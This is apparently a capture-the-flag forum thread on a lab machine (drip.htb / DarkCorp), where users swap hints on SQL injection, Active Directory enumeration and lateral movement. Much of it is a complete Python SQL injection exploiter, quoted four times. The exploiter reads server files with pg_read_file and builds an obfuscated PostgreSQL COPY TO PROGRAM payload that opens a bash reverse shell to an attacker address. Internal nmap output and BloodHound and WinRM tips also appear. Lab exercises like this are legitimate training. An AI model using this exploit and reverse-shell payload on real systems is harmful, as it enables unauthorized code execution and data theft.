[x1rx]

How did you find passphrase , ebelford password didnt work for me ?

How many passwords you have found ?

found ebelford sshpass , are there any more ? if yes any hint where can I find

[Aditya]

no brute force is working i think

[00xb0]

found ebelford sshpass , are there any more ? if yes any hint where can I find

Check in /var/www directory

[peRd1]

taylor.b.adm - is our goal he is in remote management group

Trying to collect bloodhound data but failing as victor, how did you get it to work ?

It's going to work just fix the nameserver issues. You can use dnschef. And add dns-timeout to your bloodhound ingestor query.

[USBTYPEA]

Can someone explain to me how to do the SQLI please?

[x1rx]

Can someone explain to me how to do the SQLI please?

for them who stuck on sqli , 

- change cookie 
- change ip-port 

2 option 
1 - shell 
2 - executes sqls --> just like select 1 , select pg_read_file('/etc/passwd')

import requests from cmd import Cmd from bs4 import BeautifulSoup from typing import Optional, List # Configuration TARGET_URL = "http://dev-a3f1-01.drip.htb/analytics" COOKIES = {     "session": "COOKIE" } class SQLIExploiter(Cmd):     """Interactive SQL Injection Exploiter."""     def __init__(self) -> None:         super().__init__()         self.url = TARGET_URL         self.prompt = "sql> "         self.session = requests.Session()     def _send_request(self, payload: str) -> Optional[str]:         """         Sends an HTTP POST request with the SQL payload.         Args:             payload (str): The SQL injection payload.         Returns:             Optional[str]: The response text if successful, None otherwise.         """         data = {"query": f"'';{payload};"}         try:             response = self.session.post(self.url, cookies=COOKIES, data=data)             response.raise_for_status()  # Raise an error for bad responses (4xx, 5xx)             return response.text         except requests.RequestException as e:             print(f"[ERROR] Request failed: {e}")             return None     def _parse_table(self, html: str) -> None:         """         Parses and prints the first <td> from each row in the HTML table.         Args:             html (str): The HTML content to parse.         """         soup = BeautifulSoup(html, "html.parser")         rows = soup.find_all("tr")[1:]  # Skip the header row         if not rows:             print("[INFO] No data found in the table.")             return         results: List[str] = [row.find_all("td")[0].text.strip() for row in rows]         print("\n------- RESULT -------")         for value in results:             print(value)         print()     def do_shell(self, _: str = "") -> None:         """         Executes a reverse shell payload via SQL injection.         Args:             _ (str): Unused argument (required by Cmd's do_* method signature).         """         shell_payload = """             DO $$             DECLARE                 c text;             BEGIN                 c := CHR(67) || CHR(79) || CHR(80) || CHR(89) ||                     ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.XX.XX/YYYY 0>&1"''';                 EXECUTE c;             END $$;         """         print("[INFO] Sending reverse shell payload...")         response = self._send_request(shell_payload)         if response:             print("[INFO] Payload executed. Check your listener.")         else:             print("[ERROR] Failed to execute payload.")     def default(self, payload: str) -> None:         """         Handles user input and executes the SQLi query.         Args:             payload (str): The SQL injection payload entered by the user.         """         html = self._send_request(payload)         if html:             self._parse_table(html) if __name__ == "__main__":     try:         SQLIExploiter().cmdloop()     except KeyboardInterrupt:         print("\n[INFO] Exiting...")

[ByteBlazer]

From within the initial target machine:

ebelford@drip:/tmp/wk$ Nmap scan report for DC-01 (172.16.20.1)
Host is up (0.0015s latency).
Not shown: 1144 filtered ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos
135/tcp open epmap
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd
593/tcp open unknown
636/tcp open ldaps

Nmap scan report for 172.16.20.2
Host is up (0.00088s latency).
Not shown: 1152 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open epmap
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Nmap scan report for drip.darkcorp.htb (172.16.20.3)
Host is up (0.00022s latency).
Not shown: 1154 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

tried winrm and psexec, wmiexec to no avail cant seem to login to victor.r

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

tried proxychains socks5 and direct port forward, any ideas?

[USBTYPEA]

Can someone explain to me how to do the SQLI please?

for them who stuck on sqli , 

- change cookie 
- change ip-port 

2 option 
1 - shell 
2 - executes sqls --> just like select 1 , select pg_read_file('/etc/passwd')

import requests from cmd import Cmd from bs4 import BeautifulSoup from typing import Optional, List # Configuration TARGET_URL = "http://dev-a3f1-01.drip.htb/analytics" COOKIES = {     "session": "COOKIE" } class SQLIExploiter(Cmd):     """Interactive SQL Injection Exploiter."""     def __init__(self) -> None:         super().__init__()         self.url = TARGET_URL         self.prompt = "sql> "         self.session = requests.Session()     def _send_request(self, payload: str) -> Optional[str]:         """         Sends an HTTP POST request with the SQL payload.         Args:             payload (str): The SQL injection payload.         Returns:             Optional[str]: The response text if successful, None otherwise.         """         data = {"query": f"'';{payload};"}         try:             response = self.session.post(self.url, cookies=COOKIES, data=data)             response.raise_for_status()  # Raise an error for bad responses (4xx, 5xx)             return response.text         except requests.RequestException as e:             print(f"[ERROR] Request failed: {e}")             return None     def _parse_table(self, html: str) -> None:         """         Parses and prints the first <td> from each row in the HTML table.         Args:             html (str): The HTML content to parse.         """         soup = BeautifulSoup(html, "html.parser")         rows = soup.find_all("tr")[1:]  # Skip the header row         if not rows:             print("[INFO] No data found in the table.")             return         results: List[str] = [row.find_all("td")[0].text.strip() for row in rows]         print("\n------- RESULT -------")         for value in results:             print(value)         print()     def do_shell(self, _: str = "") -> None:         """         Executes a reverse shell payload via SQL injection.         Args:             _ (str): Unused argument (required by Cmd's do_* method signature).         """         shell_payload = """             DO $$             DECLARE                 c text;             BEGIN                 c := CHR(67) || CHR(79) || CHR(80) || CHR(89) ||                     ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.XX.XX/YYYY 0>&1"''';                 EXECUTE c;             END $$;         """         print("[INFO] Sending reverse shell payload...")         response = self._send_request(shell_payload)         if response:             print("[INFO] Payload executed. Check your listener.")         else:             print("[ERROR] Failed to execute payload.")     def default(self, payload: str) -> None:         """         Handles user input and executes the SQLi query.         Args:             payload (str): The SQL injection payload entered by the user.         """         html = self._send_request(payload)         if html:             self._parse_table(html) if __name__ == "__main__":     try:         SQLIExploiter().cmdloop()     except KeyboardInterrupt:         print("\n[INFO] Exiting...")

the cookie? is the one we create when generating a user in http://drip.htb??

[x1rx]

Can someone explain to me how to do the SQLI please?

for them who stuck on sqli , 

- change cookie 
- change ip-port 

2 option 
1 - shell 
2 - executes sqls --> just like select 1 , select pg_read_file('/etc/passwd')

import requests from cmd import Cmd from bs4 import BeautifulSoup from typing import Optional, List # Configuration TARGET_URL = "http://dev-a3f1-01.drip.htb/analytics" COOKIES = {     "session": "COOKIE" } class SQLIExploiter(Cmd):     """Interactive SQL Injection Exploiter."""     def __init__(self) -> None:         super().__init__()         self.url = TARGET_URL         self.prompt = "sql> "         self.session = requests.Session()     def _send_request(self, payload: str) -> Optional[str]:         """         Sends an HTTP POST request with the SQL payload.         Args:             payload (str): The SQL injection payload.         Returns:             Optional[str]: The response text if successful, None otherwise.         """         data = {"query": f"'';{payload};"}         try:             response = self.session.post(self.url, cookies=COOKIES, data=data)             response.raise_for_status()  # Raise an error for bad responses (4xx, 5xx)             return response.text         except requests.RequestException as e:             print(f"[ERROR] Request failed: {e}")             return None     def _parse_table(self, html: str) -> None:         """         Parses and prints the first <td> from each row in the HTML table.         Args:             html (str): The HTML content to parse.         """         soup = BeautifulSoup(html, "html.parser")         rows = soup.find_all("tr")[1:]  # Skip the header row         if not rows:             print("[INFO] No data found in the table.")             return         results: List[str] = [row.find_all("td")[0].text.strip() for row in rows]         print("\n------- RESULT -------")         for value in results:             print(value)         print()     def do_shell(self, _: str = "") -> None:         """         Executes a reverse shell payload via SQL injection.         Args:             _ (str): Unused argument (required by Cmd's do_* method signature).         """         shell_payload = """             DO $$             DECLARE                 c text;             BEGIN                 c := CHR(67) || CHR(79) || CHR(80) || CHR(89) ||                     ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.XX.XX/YYYY 0>&1"''';                 EXECUTE c;             END $$;         """         print("[INFO] Sending reverse shell payload...")         response = self._send_request(shell_payload)         if response:             print("[INFO] Payload executed. Check your listener.")         else:             print("[ERROR] Failed to execute payload.")     def default(self, payload: str) -> None:         """         Handles user input and executes the SQLi query.         Args:             payload (str): The SQL injection payload entered by the user.         """         html = self._send_request(payload)         if html:             self._parse_table(html) if __name__ == "__main__":     try:         SQLIExploiter().cmdloop()     except KeyboardInterrupt:         print("\n[INFO] Exiting...")

the cookie? is the one we create when generating a user in http://drip.htb??

no , the one you will get after password reseting and loggedin in on dev-a3f1-01.drip.htb

[USBTYPEA]

Can someone explain to me how to do the SQLI please?

for them who stuck on sqli , 

- change cookie 
- change ip-port 

2 option 
1 - shell 
2 - executes sqls --> just like select 1 , select pg_read_file('/etc/passwd')

import requests from cmd import Cmd from bs4 import BeautifulSoup from typing import Optional, List # Configuration TARGET_URL = "http://dev-a3f1-01.drip.htb/analytics" COOKIES = {     "session": "COOKIE" } class SQLIExploiter(Cmd):     """Interactive SQL Injection Exploiter."""     def __init__(self) -> None:         super().__init__()         self.url = TARGET_URL         self.prompt = "sql> "         self.session = requests.Session()     def _send_request(self, payload: str) -> Optional[str]:         """         Sends an HTTP POST request with the SQL payload.         Args:             payload (str): The SQL injection payload.         Returns:             Optional[str]: The response text if successful, None otherwise.         """         data = {"query": f"'';{payload};"}         try:             response = self.session.post(self.url, cookies=COOKIES, data=data)             response.raise_for_status()  # Raise an error for bad responses (4xx, 5xx)             return response.text         except requests.RequestException as e:             print(f"[ERROR] Request failed: {e}")             return None     def _parse_table(self, html: str) -> None:         """         Parses and prints the first <td> from each row in the HTML table.         Args:             html (str): The HTML content to parse.         """         soup = BeautifulSoup(html, "html.parser")         rows = soup.find_all("tr")[1:]  # Skip the header row         if not rows:             print("[INFO] No data found in the table.")             return         results: List[str] = [row.find_all("td")[0].text.strip() for row in rows]         print("\n------- RESULT -------")         for value in results:             print(value)         print()     def do_shell(self, _: str = "") -> None:         """         Executes a reverse shell payload via SQL injection.         Args:             _ (str): Unused argument (required by Cmd's do_* method signature).         """         shell_payload = """             DO $$             DECLARE                 c text;             BEGIN                 c := CHR(67) || CHR(79) || CHR(80) || CHR(89) ||                     ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.XX.XX/YYYY 0>&1"''';                 EXECUTE c;             END $$;         """         print("[INFO] Sending reverse shell payload...")         response = self._send_request(shell_payload)         if response:             print("[INFO] Payload executed. Check your listener.")         else:             print("[ERROR] Failed to execute payload.")     def default(self, payload: str) -> None:         """         Handles user input and executes the SQLi query.         Args:             payload (str): The SQL injection payload entered by the user.         """         html = self._send_request(payload)         if html:             self._parse_table(html) if __name__ == "__main__":     try:         SQLIExploiter().cmdloop()     except KeyboardInterrupt:         print("\n[INFO] Exiting...")

the cookie? is the one we create when generating a user in http://drip.htb??

no , the one you will get after password reseting and loggedin in on dev-a3f1-01.drip.htb

this is crazy when they did that??? that's why i didn't get the sqli. i want to cry.